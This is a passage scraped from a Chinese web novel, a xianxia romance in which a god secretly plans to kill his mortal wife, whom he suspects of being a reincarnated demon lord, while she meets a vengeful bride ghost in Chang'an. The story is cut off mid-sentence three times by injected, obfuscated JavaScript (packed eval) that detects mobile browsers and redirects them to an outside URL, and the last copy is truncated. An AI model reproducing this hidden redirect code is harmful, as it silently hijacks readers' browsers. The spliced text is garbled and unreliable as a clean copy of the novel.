下一刻,岐晔挥手摇动了招魂铃。铃声响起的一瞬间,屈梁的口中瞬间喷出了一大口鲜血。 “噗!额……”屈梁跪在地上,眼看着那招魂仪式启动。 岐晔冷淡地盯着招魂铃,听着索命一般的铃声响起。 片刻后,铃声缓缓减弱,恢复平静。岐晔抬头看过去的一瞬间,招魂铃被撞开,一道身影逃出去。 屈梁掀翻了桌子,不要命似的跑出去,只剩下岐晔还站在招魂仪式中。 “叮铃——!”寂静的神殿里,只有招魂铃一声接一声地响。声音渐弱后,激烈地响起,带动周遭一片气流。 岐晔抬手,口袋中什么东西掉了出来。那枚素色香囊被招魂仪式征用,在刺目的光芒中逐渐变透明,最终消散在激荡的气流里。 招魂仪式,成了。 “砰!”岐晔失态地往后退了退,没有忘记刚刚自己看见的。 这枚香囊大概是李安素落在他口袋中的,阴差阳错被招魂铃捕捉到了。 岐晔愣了愣,摸着空荡荡的口袋,香囊已经被招魂铃“吃”掉了,而这六界之中安愫的气息正被它捕捉。 “主上!”阿全冲进来,什么都还没看清,一张符纸猛地拍到了脸上。 “出去!”神殿传来神的怒吼。 殿门重重合上,隔绝了外界一切声响。岐晔滑坐在冰冷的地面上。他抬手捂住脸,指节因用力而发白。 那个连魔族都会怜悯、见到凡人被欺负都要打抱不平的李安素,怎么可能是…… 数万年前的血海大战、和安愫厮杀的每一帧细节在他脑海里回放,最终匹配上了李安素的脸。 他闭着眼睛,六界之内,魔头气息最浓烈的地方就在自己的枕边,这简直荒谬。 一炷香后,门外等不及的弟子又催促了一遍,殿门就被人推开了,岐晔走了出来。 “主上。”阿全有些着急,“可找到安愫的转世了?” “今后,找安愫的事情我来做,你们不要再插手。” 阿全张了张嘴:“此事凶险——” “我来。”岐晔重申一遍,加重了语气。 24. 去长安 回到小村庄,已经是晨光熹微,岐晔带着一身冷气,在微弱的光影中,他一动不动。 他垂眸盯着床上的人,将她的身影描摹。过了很久,岐晔伸出手,掌心幻化出了一把锋利的匕首。 小屋隔绝了外面所有的冷意,仿佛要让人永远沉睡在这种安逸的氛围之中。 岐晔薄唇抿成一条直线,只是一个凡人而已,可这三年过去,他到底把她当成什么? 鼻息间涌入一股熟悉又令他恶心的香味,是经春草。 岐晔眸中泛着冷冽的光,握紧了手中的匕首,一点点靠近女孩的脖颈。只要往下压,用一点力气就好了。 这是猎魔刀,只要杀了她,安愫的魂魄就会永远离散在这世间,他依旧是那个神尊。 用力。 岐晔盯着李安素,下一刻,他的手猛然被一股温热的力道抓住,床上的人呢喃了一句什么。 “……岐晔……我想吃烤鸡腿。”李安素嘟哝了两句,又睡过去了。 房间里的寂静被打破,岐晔好半晌才站起来,那把匕首被他收起,他推开门走出去。 李安素醒来的时候已经日上三竿,她打了个哈欠,还没清醒,听见房门被打开。 “你回来了,抱——”李安素仰头,丝毫不知道昨夜发生了什么,“怎么了?你怎么看起来这么累?” 岐晔面色如常,摇了摇头:“醒了?昨夜冷,有没有着凉?” “没有,不过有些不舒服……”李安素站起来,自顾自地穿衣服,忽然开口:“咦?我这是怎么了?” 她盯着镜子里,自己脖颈处浮现了一片青紫,有些吓人,手一碰有些痛,“岐晔!是不是你做的!?” 她回头,对上岐晔从容的视线,“好痛!” 她比划了一下:“我做梦,梦见有人掐着我的脖子,要杀了我!” 岐晔抿唇:“都是梦,不要多想。” 李安素愣了愣,话还没说完,敲门声响了起来,门口传来男人的声音:“准备好了就快走吧,时间可不等人。” 岐晔应了声:“行李我都收拾好了,你换好衣服,就出来吧。” 李安素疑惑地望向桌上,大大小小的行李都被收拾整齐,她追上去:“我们要去哪里?” 岐晔头也不回,只身走向门口:“去长安。” 李安素静默了片刻,忽然瞪大了双眼:“长安!?你怎么做到的?不是说人已经满了吗?” 她趴在门口,看向昨夜拒绝她的人,后者摸了摸脖颈,后怕似的看向岐晔。 也不知道这个男人是什么来头,昨夜威胁他一家老小,不把名额给他的话一家都要遭殃,他才赶紧答应下来。 “嘿嘿嘿……被这个兄弟的诚意感动了,真是对你这个娘子情深义重。”男人缩了缩脖子,惹不起。 李安素大喊着“万岁”,赶紧给自己穿好衣服,等到岐晔收拾好东西走近,她已经穿戴整齐坐在了马车上。 “下来。”岐晔敲了敲马车顶盖。 “干嘛,不是说要去长安吗?”李安素走下来,手里被塞了一个热乎乎的纸包,打开一看,半只烤鸡还有些烫手,“夫君!” 她抬头,眼中盛满了感动:“你对我真好,我今天在梦里还吃了呢!” 岐晔被她逗笑,冰冷的神色崩塌,揉了揉她的头:“快吃吧,吃完再上车。” 李安素坐上马车,等到岐晔把行李整理好了坐上来,她条件反射地就想要靠过去,谁知道男人只是轻微偏了偏,躲开了。 “岐晔。”李安素抬头,眯起眼睛恶狠狠地念着他的名字。 “怎么了?”岐晔看向她,下一刻,一股巨大的力道压住他,女孩欺身而上,头靠在了他的肩膀上。 “你怎么了?”李安素仰头,看着岐晔,觉得男人今天哪儿哪儿都不对劲。 岐晔盯着她,目光如炬,像是要洞穿她的灵魂,他俯身,亲了亲女孩的唇。 “没什么,睡一会儿,到了我会叫你。”岐晔把她的头靠在自己身上。 那村子附近很不太平,魔族肆虐,他也容易暴露。 等到了长安就杀了她,他会杀了她的。 “夫君……”李安素忽然开口,岐晔连忙换上了笑容。 只有她高兴才会叫自己“夫君”,岐晔嘴角抽了抽,“怎么了?” 李安素指着窗外的景象:“好漂亮,原来翻过山之后是这样的,我以为镇上就是最大的地方了呢。” 她趴在窗边,“好大啊……长安到底在哪里?” 前头骑马的大哥听了这话一笑:“小姑娘,你还真是没见识,这外面当然是山川湖海了,没见过?” 李安素摇头:“没见过。” 岐晔拉过她的手,把她的袖子往下拉了拉,遮住她冰凉的手腕,“谁说没见过的,以后都会见。” 魔族,般若殿。 般若托着下巴坐在高处,睥睨脚边的人:“他走了?” 魔将跪在地上:“是,岐晔已经离开了那村子,那商队好像是去长安城的方向,我们不敢靠得太近,不过岐晔是和一女人在一起的。” 般若的脸色瞬间严肃起来,她收回手,重复了一遍:“女人?” 魔将点了点头:“是,他和那个女人一起去的,两个人走得比较近。” 般若叹了口气:“下去吧,继续给我盯着,这件事情不准告诉其他人。” “不准告诉谁?”屏风后传来一声熟悉的戏谑,求败撩开帘子走上来。 般若拧起秀气的眉头,“怎么又是你?” 求败还是那副吊儿郎当的样子,脖颈上还有着不知从哪里来的吻痕,般若只看了一眼就厌恶地想吐。 “我来看看你,不行?”求败靠在门边上,被般若推开,“喂,别这么不近人情啊,我明明对你不错。” 般若毫不留情:“你只当我是主上的一条狗而已。” 求败一时间无言以对,脑海里瞬间想起了当年的事情,他当年确实是喜欢过安愫的,不过那人根本没有感情可言,一心只有杀了岐晔。 “喂,别怪我没提醒你,招魂铃在岐晔手里,你想找安愫,小心丢了命。” 般若的脚步瞬间顿住,“那又如何, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16524660|184474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大不了就被岐晔杀了,那也比这样混日子强!每一天、每一天我都在痛苦之中,你凭什么管我的事情?!” 求败无奈一笑:“你明知道,只要你说,我就会帮你。” 般若捂住胸口,蛊毒缓缓侵蚀她的四肢百骸,总有一天,会死,“不用你管。” 求败离开了,般若就站在门边,看了好一会儿他的背影,咬牙走回了寝殿。 三个月后,凡间。 李安素走在郊野的小路上,嘴里叼着一根糖,一条狗蹲在她必经的那条路上。 李安素瞬间站直了,一动也不敢动。 “阿、阿旺……”李安素咽了咽口水,看向远处,男人缓缓走过来,还没看见她,“岐晔!” 阿旺“汪汪”叫起来,对着李安素龇牙咧嘴,李安素十分讨厌这条狗! “不许吓她。”岐晔拧眉,走上前握紧李安素的手,“今天怎么这么晚才回来?” 李安素背上的背篓被岐晔接过去,她嘟哝道:“那个老板说什么不给我卖了,我还和他吵了一架,你也欺负我!” 她瞪着阿旺,“干嘛养这条狗,也不可爱,丑死了。” 岐晔抿唇,阿旺是噬灵兽,和李安素相处久了能掩盖她骨子里的魔气,尽管这一丝魔气极其微弱。 “好,今天不给它吃饭。”岐晔给李安素穿好外套,“饭已经做好了,吃吧。” 李安素坐在桌前,环视一圈这小屋子,和岐晔搬来长安城后,两人就在长安城租了间屋子,日子过得更清贫了。 “怎么又是青菜汤,我不喜欢吃。”李安素戳了戳饭粒,又瞥了眼岐晔的碗,瞬间无话可说。 男人的碗里只有一碗稀粥,给她的还有米饭,到他自己只剩下一点汤。 “我不吃。”李安素把碗推过去。 岐晔没说话,低头喝了一口米汤,圈住李安素干瘦的手腕,“明天给你买肉,先吃。” “我不吃!”李安素拧眉,他们现在过的日子还不如在村子里呢,“你等着,岐晔,我一定让你过上好日子。” 岐晔没说话,目光来回在女孩脸上逡巡,两个人自从来了长安城,见过了人心冷暖,还从没见过她失去斗志。 魔头就是难杀。 “睡觉吧。” 入夜,李安素躺在里头,男人欺身压上来的一瞬间就把手放在了胸前:“我还没好。” “还痛?”岐晔拧眉,手附在她身上,“我看看。” 李安素抿唇,死活都不说话,盯着天花板,推了推男人:“床太小了,我不想……” 岐晔没说话,起身到外面拿了药膏,缓缓走回来。他动作轻,可还是会弄痛她。 来了长安城,或许是房子真的不太好,吃得也不好,李安素有时候不够开心。 岐晔能察觉到,有时候又会强迫自己不去管。 “别不高兴,明天带你出去走走。”岐晔亲了亲她的嘴角,“还疼吗?肿了。” 李安素:“……你滚。”她踢了脚男人的小腹。 脾气越来越不好了,岐晔勾唇笑了笑,根本拿她没办法。 25. 嫁衣 长安城确实是繁华,李安素从没见过这样的大城市,各种炒货、香草、肉饼小吃在街道两旁。 “不要乱跑。”岐晔提醒了她一句。 “知道了知道了。”李安素用力点头,左看右看,最后看向路边一个摆摊的。 岐晔走了几步,再次回头:“不要乱跑。” 李安素不耐烦了:“知道了,我又不是小孩子,你管好你自己吧。” 岐晔:“……”他也觉得有些太紧张李安素,再跑也不可能跑到哪里去。 一刻钟后,他看见了一个卖糖葫芦的,想起昨晚李安素说想吃这个。他回过头,却只看见了空空的身后。 来来往往的行人飞速向着各个方向而去,他却怎么都看不见那一抹身影。 又不见了。 李安素撑着膝盖,“不要这样画,不对不对……这个头应该是这样的……” “哎,你什么意思啊,这是我买的,你有钱吗你?”一个少年人不高兴了,明明是他买的糖画,这个不知道从哪里冒出来的小丫头对他的糖画指指点点。 埋头做糖画的老人全然不理会他们的话。 李安素摸了摸口袋:“没有,没、没钱我也没买啊,不就是说了几句话吗?” 少年人看起来出身不错,上下扫视了一圈李安素,“外地的?” 李安素一愣,不等她说话,少年人笑了下,“老板,给我再做一个糖画,送给这位姑娘。” “好嘞。”老人应了声,又转身去取糖浆了。 “你给我?”李安素指了指自己,“为什么?我才不信呢,你肯定有诈。” 少年人一挑眉:“我看你也没有钱,请你吃东西还不好啊?” 李安素抿唇,环视一圈,岐晔早就不知道去哪里了,她缩了缩脖子:“不行……我夫君等会儿就来找我了。” 少年人皱眉,恰好这时老板取了糖浆回来,在炉子里咕嘟咕嘟烧起来,糖浆的甜香在空气中缓缓升腾。 “好香啊……”李安素小声说了句,“要不……要不就给我来一个吧。” 她心动起来,指着糖浆的画板,“给我画一个仙人吧。” 她想象了一下岐晔登仙的样子,指着画板描述了一下,老板的技术很好,随意几下,一个有模有样的仙人就在画板上勾勒了出来。 少年人看着觉得有意思:“不是还担心我诈你?一个糖画就把你卖了,不害怕?” 李安素摇头:“你可不要反悔,你说了送我就是送我。” 少年人哈哈大笑,“我叫周涌卿,你挺有意思,叫什么名字?要不我给你派个有钱的活儿?” 李安素摇头,又忽然来了兴致:“不告诉你……你说的活儿是什么?” “我们现在正在抓一个逃亡的妖怪,这个妖怪最喜欢年轻的小姑娘,你来帮忙我给你这个数。”周涌卿冲她眨了眨眼睛,比划了一个数。 李安素呆住了。 人群中爆发出一阵喧嚣,李安素转头一看,一匹骏马向着她冲来,将老人的小摊撞翻了,糖浆泼在地上。 “啊——!”李安素被吓了一跳,周涌卿站的地方离她还有一段距离,这一撞,两人的位置就靠近了。 “喂!你怎么骑马的!?”周涌卿猛然看过去,一片狼藉之中,一匹骏马已经甩了甩尾巴,瞬间就消失无踪了。 老板什么都没说,只是静静看着地上的糖浆,遗憾道:“老身给你重新做一个。” 李安素摆了摆手:“算了……” “算什么算,本来就是那人不对。”周涌卿眯了眯眼睛,望向那马的方向。 老板重新烧糖浆:“那是郡王的宝马飞雪,谁敢惹啊。” “飞雪?是谁啊?”李安素探头。 周涌卿翻了个白眼:“宝马的名字!” “马还有名字啊?”李安素挠了挠头,她还真没见过,“那肯定很厉害咯?” 两人正交谈着,一只手忽然放在了她的腰侧,带着轻柔又难以抗拒的力量,轻轻向后拉,温热的低语在耳边响起:“该回去了。” 李安素浑身一滞,想起什么似的,语气多了些着急:“岐、岐晔……你来了呀,我就是……” “姑娘,你的糖画做好了。”老板手里的糖画递了上去,“原来是照着你夫君做的,真是一表人才。” 糖画晶莹剔透,寥寥几笔勾勒出了一个乘云而去的仙人,仙风道骨,相貌简直就是岐晔本人。 岐晔接过糖画,把钱放在桌上,才冷冷瞥了眼周涌卿:“告辞。” 李安素被牵着离开,她还有些闷闷不乐,含着糖画的边缘,“那是人家送我的。” 岐晔眼神一滞,糖画上,“他”的头被少女的红唇含进去,亮晶晶的糖霜沾到了嘴边。 “不能要。”岐晔毫不留情地拒绝她。 李安素还想说什么,她心里还记着周涌卿说的“活儿”,她张了张嘴:“哎,岐晔……” “怎么了?”岐晔回过头,明明没有不对劲的地方,可李安素就是止住了话,她忽然觉得还是不要告诉他好了。 身边的人流来来往往,李安素的手被岐晔抓着,她却觉得离他好远好远,对上男人沉静的眸子,她摇头:“没什么……” 岐晔收回视线,全然没有把这件事情放在心上,长安城和李安素想象中的不一样,这里的百姓甚至过得更痛苦,说是水深火热也不为过。 “凭什么有钱人的马都可以撞翻百姓的摊位。”李安素愤愤道,看向岐晔,说着今天自己看见的事情,而岐晔只是扫地、做饭。 “说累了?”岐晔站起来,给她倒了一杯水,后者接过喝了一大口。 “我还没说完呢,那个马它——” 李安素忍着委屈,越想越觉得长安这地方不是好地方,“我以为长安城都是有钱人呢,原来那么多吃不饱饭的。” 岐晔笑着,他丝毫不觉这有什么问题,可李安素却生气成这样。 “从前有一个魔头,名字叫……算了,不重要,她烧杀抢掠,无恶不作,是不是更应该下地狱?”岐晔声音温和,说出来的话却是冰冷彻骨的,每一句都是引诱。 可李安素愣了愣,半晌才说:“那我也要看见才算。” 李安素抬眼,望向岐晔的眼神认真,眼中仿佛要发出光芒来,半晌,男人只是低下头,继续手上的事情。 吃过饭,岐晔没有拿《诗经》出来,反而拿了一本《善恶论》,走到李安素面前,“今天学这个。” 李安素看向他手里的东西:“怎么给我看这个?” 岐晔握着这本书,神色晦暗不明,这本书里被他下了一道咒语,读这本书对她体内的恶念具有压制作用,“以后学这个。” 说完,岐晔就出去了,只剩下李安素一个人在房中,她眯着眼睛,不一会儿就困了。 其实她根本不愿意读书,但在岐晔的教导下,逐渐能独立读书了。 “啊……”她打了个哈欠,又饿了,一打开橱柜,映入眼帘的就是一碗糕点。 一刻钟后,趁着岐晔不在,李安素悄悄溜出了门。 她明明是正常出门,却不知道怎么的,心里总是后怕,李安素一边走一边四处乱瞟,而走了没几步,就看见了阿旺躺在地上。 “汪汪!”阿旺一看见是李安素,立刻警觉起来,做出警惕姿势。 下一刻,李安素从后背找到一根铁棍子,将铁棍子举过头顶,佯装要打狗,阿旺立刻缩了回去,一动不敢动了。 “还搞不定一条丑狗了,看我不抽死你!”李安素吓唬了几句,丢了铁棍就往街上跑。 她没跑几步,天色就大变了,远远看去,一具尸体吊在树干上,把人吓得不轻。 这大雾天气,远远看见一具尸体都会被吓死,但李安素不会,她走上前,狠狠一脚踹在这人的小腿上。 “砰。”这人摔在地上,发出剧烈的动静,也缓缓坐了起来。 “没死啊……”李安素弯腰看着,伸出手去:“姑娘?你怎么了?” 般若揉着自己的手臂,倒是没有摔痛,她在这里休息,谁知道来了个不长眼的,她一抬头,觉得这人有些面熟。 “是、是你啊……”李安素脸色一变,她退后了几步,撞上了一堵墙,不过眨眼的事,般若又站在了她身后。 “姑娘……我只是路过,不知道你在这里休息……”李安素讨好地笑笑,“您大人不记小人过,就饶了我吧。” 开什么玩笑,李安素可是记得,上回在村子附近,这个女人把自己狠狠吓了一跳,她现在还记得呢。 “你是凡人?”般若上下扫视一眼,竟看不出半点根骨,“还是个没用的凡人。” 李安素缩了缩脖子:“话也不能这么说,我确实是凡人,可是姑娘你应该不是普通人吧?” “少管闲事,除非你活腻了。”般若眯了眯眼睛,看向四周,荒无人烟的地方,忽然窜出来一个李安素,“你在这附近,要干嘛?” 李安素低着头,一副快要哭出来的表情:“我要去找人,我、我是去干活的。” 般若歪着头:“带路。” 李安素:“我……我去!” 话音刚落,般若已经脸色不好看了,李安素实在害怕她,冷汗都顺着发丝往下落,她赶紧擦了擦汗,带头走到前面。 果不其然,周涌卿还站在今天碰见的地方,“来了啊!我就知道你会来的,这是你的谁啊?” 李安素无奈介绍了一下:“这是我的……” “主子。”般若毫不犹豫地说道,“说罢,你找她干嘛?” 周涌卿哗啦一下掏出一把扇子,语重心长地开始说:“长安城闹鬼。” 李安素瞪大了眼睛,般若却来了兴致。 十年前,长安城死了一对夫妻,这件事情算得上丑闻,当时只草草把人埋了,只是后来再去看,坟墓已经空了。 而长安城的新婚夫妻在婚礼前,都要找道士驱魔。 “不过这段时间魔气猖狂,驱魔都没什么用了。”周涌卿幽幽说,“再过几日,本少爷也要成婚了,所以想查清楚。” 李安素犹豫了,不过下一刻,周涌卿的声音再次响起:“要不要考虑?” 李安素抿唇,还没说话,般若站了出来,“我去。” 周涌卿眯了眯眼,喉咙里发出爽朗一声笑:“这位姑娘,你觉得妖怪看不出你身上的魔气吗?” “我去。”李安素站了出来。 周涌卿的马车将两个人送到了一幢宅邸前,李安素仰头看着,“你家还挺有钱的嘞。” 周涌卿嘴角抽了抽,刚走上门,就有仆人迎上来,周涌卿介绍道:“这些家业都不是我的,是我一个哥哥的,不过那是个叛徒,你进来吧。” 李安素走进去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16527973|184474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 环顾四周,走到一个角落里的时候,般若小声对她说:“你就这么缺钱?” 般若凑近了看,这个凡人长相还有几分特别,一双眼睛圆溜溜的,里面总是装满了狡黠和执拗,她语气有些不耐烦:“那人明显就想要利用你,只有你这个傻子。” 李安素抿唇,满不在乎:“你一个魔族的,不用为了生计奔波,当然不会明白。” 般若眯了眯眼,挑起一抹笑:“你倒是不怕我。” 李安素低下头,“我不怕,神仙、凡人也好不到哪里去,你要杀我就杀吧。” 般若走出去,只留下一句:“你以为自己的命值几个钱?我杀你做什么?” * 岐晔去了一趟云游仙山,这块地方他还是修者的时候来过,现在已经有些陌生。 他的生命太长,沉睡的时间已经够得上世间几个轮回了,现在突然多出一件在意的事情,就难免无所适从。 他取了一棵天山湖底的仙草,离开的时候已经是傍晚了,刚走到家附近,他瞬间就察觉到了不对劲。 阿旺喉咙里发出委屈的叫声,那是个魔头!它怎么可能拦得住! “她去哪了?”岐晔低下头。 阿旺甩了甩尾巴,指着一个方向,岐晔点了点头,将仙草放在了桌上,才匆忙离开。 * 周府,李安素对着繁琐的衣服手足无措,般若走进来,就看见她还没换好衣服。 “这么难穿?”般若走近,“后面不是这样穿的……” 她盯着少女的身体,瞬间呆滞住,李安素的后背上,几个鲜红的吻痕还没消退,不过被吻痕覆盖的地方,似乎有一块胎记。 “你这胎记是生来就有的?”般若状若无意问了句。 “嗯?”李安素撩开头发,好不容易才穿好了衣服,“是啊……咦,天色这么晚了,真的还要去吗?” “晚上阴气重,你到时候拿着这个,不要乱跑。”周涌卿上前,把一个玉佩塞进李安素手里,“这位是陈道长,道法高强。” 一个白发苍苍的男人走了上前,上下扫视一圈,对李安素下了个评价:“无甚天赋。” 般若冷笑一声,这个道士自己也没有什么真本事,她看了眼李安素:“放心吧。” 李安素坐上了马车,周涌卿派的马车把她送到一处荒郊野岭,几个抬轿子的把人送到位置之后就立刻逃跑了,只留下轿中的李安素。 她左看右看,半晌也没有听见声音。 天色很快暗下来,她扣着自己的手,饥饿将她吞噬,而轿子外只有漫无边际的黑暗。 下一刻,狂风大作,李安素捏紧了手里的玉佩,玉佩似乎开始发热,中间也裂开了一道缝隙,直接碎在了手里。 “啊……”李安素愣了愣,看向手里的血迹,玉佩的边缘相当锋利,直接划开了她的皮肉。 李安素又等待了一会儿,好久也没有人来接自己,她搓了搓手里的血珠,撩开帘子走下去。 疾风刮过,她闭上眼睛,艰难万分地向前走,几声哭声吹进了她耳中,李安素循声望去。 一座坟墓微微隆起,她走近一看,地上的白骨堆满了整个坟墓,再一看,远处皆是坟墓。 李安素震惊得说不出话来,她痴痴望着这一片墓地,往前走去,“谁在哭?” 她连声音都在抖,说不害怕是假的,但现在待在轿子上只会落得更惨的下场。 “别哭了。”李安素缓缓走上前,繁琐的嫁衣被风吹起,一缕鲜红的嫁衣在风雨中有些狰狞。 坟山在夜色中起伏,像大地溃烂的疮疤。夜风萧瑟,残破的纸幡垂下,在粘稠的空气中微微蠕动。 李安素也看见了坟山后的景象——白骨堆得最高的地方,一个女人跪在上面,嘴里还在啃噬什么东西。褪红的嫁衣早已破败不堪,遮不住她瘦骨嶙峋的身体,凌乱的长发仿佛是被抓过,头皮化脓,顺着额头往下流。 这时,女人的脖子发出令人牙酸的“咔哒”声,她的头颅以一种人类不可能完成的角度向后拧了过来。脸颊已经破了,肉块挂在脖子上,没有人收拾,露出森森白骨。 “你、你是谁啊?”李安素看向她。 女人痴痴看向她,过了会儿又低下头继续吃。 李安素拧眉,上前几步:“你是谁啊?” 女人衣衫褴褛,这下才转头看向她,灰绿色的眼珠缓缓聚焦。 “哗啦——!” 女人身上的白骨纷纷掉落下来,她几乎是连滚带爬摔下来的,场面有些狰狞,“你看得见我!?” 白骨山环绕四周,李安素也有些害怕:“我、我当然看得见你啊!你是哪里来的人啊?” 女人犹豫着,擦了擦自己的嘴,下一刻,猛然扑过来! “砰!”李安素摔在地上,被女人压住动弹不得,她奋力挣扎起来,抬手去推,手上的血珠蹭在了女人身上。 女人的力气明显小了些,她疑惑看着李安素:“你真的看得见我……不可能的……我已经死了十年了。” “十年?”李安素坐起来,“你是张绣?” 女人听见这声名字,顿时抬眼:“你认得我?” 张绣就是十年前那个新娘子的名字,不过在新婚当夜,和新郎官一同死在了野外。 “是他杀了我。”张绣擦了擦嘴,眼中闪过一丝猩红的愤怒,“我要杀了他。” 26. 过来 李安素心跳如鼓,她捂着自己的胸口缓缓走上前,“那、那你究竟是人是鬼啊?” 张绣望着她,上下打量了一圈,“你还是第一个看得见我的,你不怕我?” 李安素摇头,她有些没明白:“为什么要怕?你到底是谁啊?” 张绣空洞的眼珠缓缓转动,好半晌才说:“我十年前就死了,估计是鬼吧。” “哦……鬼啊,我还以为你是鬼呢——你、你你是鬼!?”李安素迅速往后退,吓得连手脚都不知道放哪里了,被身后一堆白骨绊倒,摔在地上,“救、救命啊!” 张绣顿了顿,看向她身上穿着的嫁衣:“你难道什么都不知道?” 李安素大惊失色,尖叫声惊起了坟山上停留的鸟雀,“你不要杀我,我求你了,我还要回去……!” 张绣骤然拔高音量,她说话不太利索,每一个字都仿佛是从喉咙里挤出来的:“我饶了你,那谁来饶了我!?你穿着嫁衣……你也是他们一伙的!周裕华有本事就自己来啊!我一个孤魂野鬼还能怎么地他们周家!?” 张绣咆哮声音摧枯拉朽,仿佛用旧的破风箱,听得李安素浑身起鸡皮疙瘩,“救命……你冤有头债有主,可千万不要找我……这里的白骨该不会都是你吃的吧?” 李安素手脚并用,一回头才爬出一丈远,她绝望地跪下来,“那个……张小姐,我和他们真不是一伙儿的啊!我听说有钱我才来的!” 张绣眼珠转了转:“看来他们是骗不到人了,才找你来,你难道不知道我吗?” 李安素咽了咽口水,以为她要放过自己了,才站起来:“那个……我是外地来的,都是周家公子让我帮他的忙。” 动作间,李安素腰间的玉佩滑落下来,已经碎成两半的玉佩发出幽绿色的光,张绣看见了。 “啊,你也是个倒霉鬼,你不帮我,我不会放过你的。”张绣坐下来。 坟冢的风吹过她凌乱的头发,她已经快要忘记做人的时候了,她眺望远方,但坟冢很多,看不到太远的地方。 李安素犹豫着坐在了她身边,两人都穿着嫁衣,一个是崭新的红色,一个是陈旧的红色。 十年前,张绣和一名书生相爱,却被当时最大的商户周家公子搅和,她被迫嫁给周裕华。 出嫁当晚,张绣和书生私奔,周家只手遮天,最后是双双殒命。 “书生呢……?”李安素弱弱问了句。 张绣:“他把我卖了。” 惨痛的故事,张绣只言片语就说完了,李安素转头望进那双灰绿色的眼睛,“周、周裕华是谁啊?” “你不用管,是一个死人,我会杀了他的,你……”张绣犹豫了一会儿,最后狠厉道,“你要是不帮我,我现在就吃了你。” “……帮,我当然帮你!” 张绣没说话,从坟山上走下来,李安素这才看见她的脚已经溃烂了,只剩下骨头在地上。 “哎,我帮你包一下伤口吧。”李安素看不下去,扯了一块自己的嫁衣下来,缓缓包在张绣的腿上。 “你不用这样,我的肉已经不会再长了,这都是十年来慢慢掉的。”张绣缓缓说。 下一刻,张绣的身体猛然摔出去,轰的一声,撞在了远处的坟冢上,她脸上的一大块肉瞬间掉了下来。 “张小姐!”李安素抬头,看见一双青色的瞳孔,她怔了怔:“岐、岐晔,你来了啊。” 岐晔手里握着剑,剑柄上沾了些骨头碎渣,他眼中还有一丝尚未退去的疯狂,看见李安素后才瞬间平静下来。他蹲下来,仔细检查过李安素的手脚。 明明他用神识就能感知到她的情况,可还是用双手抚摸过去。 “我、我没受伤,是张小姐,张小姐!”李安素推开他,跑到张绣身边,“你没事吧?对不起,他不是想伤害你的。” “让开。”岐晔静静站在李安素身前,冷冷拧眉,还有一丝苦恼。 这个张绣已经是厉鬼,和人已经毫无关系,她到底每天从哪儿惹来这么多事? “不行,你会杀了她的。”李安素抿唇,坚持着站在张绣身边。 “过来。”岐晔沉声道,很明显是对李安素说的。 李安素摇头,她不相信岐晔会生气,“夫君,你听我说,我是有原因的,张小姐是被害的,我们应该帮她。” 岐晔脸上漫上不耐烦,这个张绣,身上都是戾气,待在李安素身边很有可能出问题。 “你担心我杀了她?我一个凡人,你不担心,反倒担心一个厉鬼。” 张绣动了动嘴,露出几颗獠牙,她自己都想不明白,这个男人身上散发着一股令她躁动的香气。 李安素犹豫着,岐晔已经伸出手,直接把她扯到了自己身边,他看向张绣:“你要找人帮你,去找就是,不要靠近她。” 张绣歪了歪头:“你是她的夫君?你要是真的担心她,就不会现在才来,她穿着婚服,是要结阴婚的。” 岐晔看向李安素,锐利的眸子折射出一股凌厉的光,后者缩了缩脖子。 “不用你管。”岐晔抬着手里的剑,指向张绣:“但你若是不死心,我会直接杀了你。” 李安素被岐晔扯着往回走,越往外走,一轮红日被托起,她看向身后,张绣的身影逐渐消失在了视线里。 “她消失了?” 岐晔:“嗯,鬼怪白日会消失。” “夫君。”李安素叫了声,站定了看向身边的人,逆着光,她看不清岐晔的脸色,“我要帮她,你把我拉走也没用。” “帮她做什么?你是什么大人物?你有什么能力帮她?”岐晔拧眉,他觉得自己娘子未免有些太热心肠了,“自己连养家糊口的能力都没有,还说要插手别人的事情?” 他说得毫不留情,轻而易举就把李安素说得无地自容。 过了会儿,岐晔抬手拉她到怀里,顺着女孩的背脊拍了拍,眼中都是卷起的风暴,蕴藏着浓浓的占有。 打一巴掌,给一甜枣,这一招岐晔百试不爽。 “乖一点,我们好好过自己的日子,你不是想吃肉吗?” 岐晔把一盘卤牛肉端出来,摆在了桌上,他想起什么,走到橱柜面前,“我带了糕点——” 李安素抿唇。 片刻后,男人端着空空的盘子走了出来,只有上面的残渣还能证明曾经有过糕点。 “那个……”李安素尴尬地摸了摸鼻子。 岐晔勾唇:“先吃饭吧,吃完饭你还想吃什么,再去买。” 李安素盯着碗筷,视线里被夹进来一块肉,“你最近怎么赚的钱? 她情绪不高,岐晔看得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“嘶,过来!”周涌卿尴尬地走向她,手刚抓住李安素的手腕,就猛然抽回了手,“草!” 这姑娘身上什么东西!一摸就要命地痛! “你你……现在周家只有我一个人了,你就欺负我!”周涌卿眯了眯眼,“我养父养母去世的时候,千叮万嘱要我守住我大哥的尸身,现在十年过去,我终于看见了机会。” “你昨天是怎么从坟山回来的?”周涌卿不敢碰她,就“礼貌”问了句。 “我看见了一个女鬼,她没杀我。”李安素故意没说岐晔的事情,“你给我钱,我可以帮你。” 周涌卿瞪大了双眼:“女鬼!?你也看见她了?” 